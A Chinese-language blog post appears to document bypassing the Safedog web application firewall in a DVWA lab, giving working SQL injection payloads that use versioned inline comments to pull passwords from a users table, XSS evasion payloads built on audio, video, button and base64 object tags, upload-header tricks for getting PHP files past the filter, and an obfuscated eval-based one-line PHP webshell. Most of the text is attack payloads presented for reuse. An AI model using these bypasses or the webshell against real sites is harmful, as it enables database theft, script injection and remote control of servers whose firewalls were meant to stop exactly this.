几种绕过安全狗的姿势
————背景说明————
想起之前safedog面试官问我怎么绕过他们的产品,我说不知道。今天想起来就整整他们的waf耍,顺便纪念一下自己认怂的一次面试经历。
背景讲完了,ok,这里安全狗用的是apachev3.5版本,服务器用的是phpstudy2016,页面用的是dvwa。
————SQL注入————
首先是单引号判断,它是不检测的,正常报错,加两个就闭合没事
这是个字符型的,接下来试一下and 和 or 语句
1' and '1'='1,安全狗进行了拦截
试了下单独的and发现是不拦截的,应该是and后面加数字或者字符的表达式会被匹配拦截
那么试着讲and 修改为&&,发现&&加1=1这些一样是被拦截的
但是1=1和1=2本质便是true,false,而&& true这样在语法上是可以的
那么用1' && true #和1' && false # 成功绕过了狗
1' && false # 因为语句是false,所以没有信息,这里不截图了
字符型的话也可以通过浮点数 1.0and 1=1 来绕过对and的检测
与and类似,or可以用||代替
(除了||,也可以用看看xor)
接下来试一下order,网上有说,用内联注释是可以绕过的
我这里用了简单的payload试了一下1'/*!order*//*!by*/1 #
这里是会被拦截的,这就很尴尬了
不过这里可以构建内联注释和注释,双注释进行绕过,比如:
' /*!order/*!/*/**/by*/ 3#
union就有点难搞了,其实也不是union,就union+select
union不处理没啥事,select不处理安全狗会帮你处理的
这里网上看了下有/*!50000union/*!*//*!50000select/*!*/这样通过版本号绕过
但是我试了一下,50000这个不太ok,会被拦截的
可是当然不是只有50000这个鸭,根据服务器版本,我这是5.5的
所以到55000中某些应该没有被拦截
随便用了下44111,发现是可以的,用其他的应该也可以
然后查个用户啥的,这里user()被拦截了,可以用同样的方法把user和()分别利用
1' /*!44111union*/ /*!44111select*/ 1, /*!44111user*//*!44111()*/#
其他懒得写了,到这里就简单了,反复检查了好几遍以为自己把狗关了
1' /*!44111union*/ /*!44111select*/ 1,(/*!44111select*//*!44111password*//*!44111from*//*!44111users*/limit 0,1)#
————XSS————
试了一下 <script>alert('1')</script>
不出意料,当当当当,被狗拦截了
但是试了一下发现alert('1')拦截,但是alert(1)不拦截
应该是判断了alert内部是否插入' ' 及内容,毕竟弹窗一个数字1没啥意义
同时看了看prompt是都可以
那么除了内容拦截,试了试标签,原来<script>也被拦截了
试了一下其他标签,看哪些不被拦截
发现<vedio>和<audio>可以,那么可以构建一个基于错误的弹窗
<audio src=1 onerror=prompt('xss');>
或<video src=1 onerror=prompt('xss');>
因为src=1存在错误所以会执行prompt
然后还有<button>没有被过滤
<button>可以创建一个按钮然后点击发生onclick事件
<button/onclick=prompt(xss) >button</button>
最后还有个<obeject>,利用标签格式,进行编码绕过,这甚至实现了alert('xss')
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
除了以上这些,应该还有其他标签可以进行绕过,自行尝试
————文件上传————
绕后缀检测,正常上传一个php的话,会被拦截
我还试了下截断发现是不行的,那就抓包改咯
把filename=“”改成filename=;
成功上传
把filename那一行的from-data删了
成功上传
把content-type行删了
成功上传
Content-Disposition随意大小写
成功上传
不过上传的网马访问的时候又做了一次拦截
如何绕过,先从大马开始
思路是把大马的内容写入txt中,然后再建一个php内部包含txt
这里上传的php重新写的一个,dvwa的懒得改txt限制了
一开始传了过狗的大马没注意,以为狗不会拦大马
重新绕后缀限制传一个一般的
然后访问马,会被拦截
安全狗的日志显示是常见木马
接下来把刚刚大马改成txt,然后php包含
然后分别上传
然后访问php,发现狗不拦截了
乱码问题自己调一下就行
再来是一句话,其实就是混淆一下就行
先传个过狗一句话,主要就赋值混淆一下
<?php $a=$_POST['cmd']; $b=&$a; eval($b);?>
(其他的还有很多,自行百度或者自己写)
然后访问一下,发现狗不拦截了
密码是cmd很明显了,直接post命令即可
————结束撒花————